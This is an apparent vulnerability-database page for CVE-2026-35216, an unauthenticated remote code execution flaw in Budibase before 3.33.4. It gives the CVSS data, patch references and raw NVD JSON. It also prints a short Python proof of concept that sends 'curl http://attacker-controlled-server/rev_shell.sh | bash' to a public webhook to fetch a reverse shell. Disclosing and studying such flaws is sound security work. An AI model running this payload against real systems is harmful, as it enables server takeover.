Security Vulnerability Report
中文
CVE-2026-35216 CVSS 9.0 CRITICAL

CVE-2026-35216

Published: 2026-04-03 16:16:42
Last Modified: 2026-04-08 21:19:00

Description

Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:* - VULNERABLE
Budibase < 3.33.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: CVE-2026-35216 - Budibase Unauthenticated RCE # Description: Triggers a bash automation via public webhook # Target: Budibase < 3.33.4 target_url = "http://target-budibase-instance/webhooks/trigger_automation_id" # Payload assuming the automation passes input to a bash script malicious_command = "curl http://attacker-controlled-server/rev_shell.sh | bash" payload = { "values": { "step_input": malicious_command } } try: print("[*] Sending exploit payload to Budibase webhook...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully. Check your listener.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35216", "sourceIdentifier": "[email protected]", "published": "2026-04-03T16:16:41.800", "lastModified": "2026-04-08T21:19:00.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.33.4", "matchCriteriaId": "B316A29C-7C2F-4102-ACF6-DDB06B3D0AD5"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Budibase/budibase/pull/18238", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}